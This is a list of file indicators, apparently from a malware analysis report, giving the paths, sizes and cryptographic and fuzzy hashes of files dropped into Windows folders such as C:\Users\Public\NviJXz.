- SHA1 9f7bc835d3de9b6334be9832befa462a73e8422e
- SHA512 731886d2f56e9f43315bff26dbc42f3e11fb0534b934c18248ff0bb695972781dcf884e8c3992bead8cc8fc9c7e1bc931d6983696b916093c92be5c9125e76e8
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyF:BMWKfU+BcUTHCCCfqCiUffnF
- TLSH T137263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\y8Sn4M\image.png
- Size 5.0MB
- SHA256 b11419bada7fd040bb3fc50f71b381ede3d48467a91f09d405762f4b7f187bb8
- MD5 baf95d2dc4b7a872d3c94df547498840
- SHA1 915064493a26ac94efd0dc095ad22d1bab1e6c27
- SHA512 3c3dfa44ae72c9b70fe65263da2a5a6a8aaf98c9d64ffb88e4955d3eeb83872006509ab92a9ec9e9d9c904da551bfc0fc3bbd69fe3b96f71a64fd537de9108de
- SSDEEP 98304:xqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:x/u21dGs2rOal3UpkiMT59IZVGhW
- TLSH T1D1363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\y8Sn4M\thumbs.db
- Size 358KB
- SHA256 cde64eaf203b19c8d83f7ba8a9b1f2687dbb03c0c418adf6ed10f4c5b203cded
- MD5 c6e6f2fc0f1892399e194b94d1c7f53f
- SHA1 1f13189fe23ce88f7d5643d0829a186cd98ea8f7
- SHA512 30b4e389f45568f83455ab8e680206faa492b31590bd8cce9f509a2af21c42a8ac1fcbb1c3c0ae5a0d215236e60754cbb4bb19fe4d2a94cbfd18808219add51b
- SSDEEP 6144:uiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:h8u69CghoQxoMTFQqtKFCz7mb/
- TLSH T1C374F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe
- Size 145KB
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- TLSH T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Music\destopbak.ini
- Size 2B
- SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
- MD5 7e74f75663e5b5a4f3452a4c603ee45d
- SHA1 d5114b086b721f2c87ea7152025792958ab4c629
- SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
- MD5 SHA1 SHA512
- Path C:\Users\Public\NviJXz\I9VM27.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\NviJXz\UxEnhance64.dll
- Size 3.1MB
- SHA256 9bfaa49e7d596d337c5beed2247a328d9e77bf2f2729772b3f7640b2685a7577
- MD5 509deb4acebd039a81425f62331683d5
- SHA1 fc9d29c6d125a31d285dad7d6054b4ca22233989
- SHA512 6248c44a5eef68d5967cedb60294abc7205d7fbb6bf1bf53e23da76f6420f3314f480617ad71d51f29e48b65d8c0ea29d80425b86bdbf89940df5db5a59af332
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+B:P9m29xx3Tiqt06ox6+z2rNNrKoB
- TLSH T173E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\NviJXz\adoresd.dat
- Size 4.7MB
- SHA256 851df09e565bcf2e59fba7e48756b62df1a440547b91d14c6a5767e254ae05b4
- MD5 89f0e00396949feeaa934b9a25a923ea
- SHA1 6c77afbee5fb5c0c659cb88435f85e89303387a5
- SHA512 10cb10929c1c7b0af883019b49f3fd01d0cfbc7cba774fe00d6dfd811cbe82634b68e6afc56ee3c7ee61183c71b80fd258c1f6b61ec36a9368f18702d1834093
- SSDEEP 98304:pmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:su1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1023633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\NviJXz\msadox.tb
- Size 8KB
- SHA256 62df25abaf4aae1e09fb2674e261cdce6a47d4dc6d2ab4e033b3bf7ea0557cec
- MD5 1aeebac295879b01d49dcaea230c40d2
- SHA1 4f3cfa6f6eefbcd854ee0ccbea2ea09c23fc19a0
- SHA512 1dc06d85c8ffe8b0d322192269f768b4d825b946d000b8679e6582e8f4c5cccddfcb4640887d47cf6e1bae028c20c8bb376a53f44842dc0daa89568ac32a53fa
- SSDEEP 192:zqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:zsZqZOXQ3uqvR2Kfzp
- TLSH T1A1029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DE2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\xxxx.ini
- Size 2B
- SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
- MD5 81051bcc2cf1bedf378224b0a93e2877
- SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
- SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
- MD5 SHA1 SHA512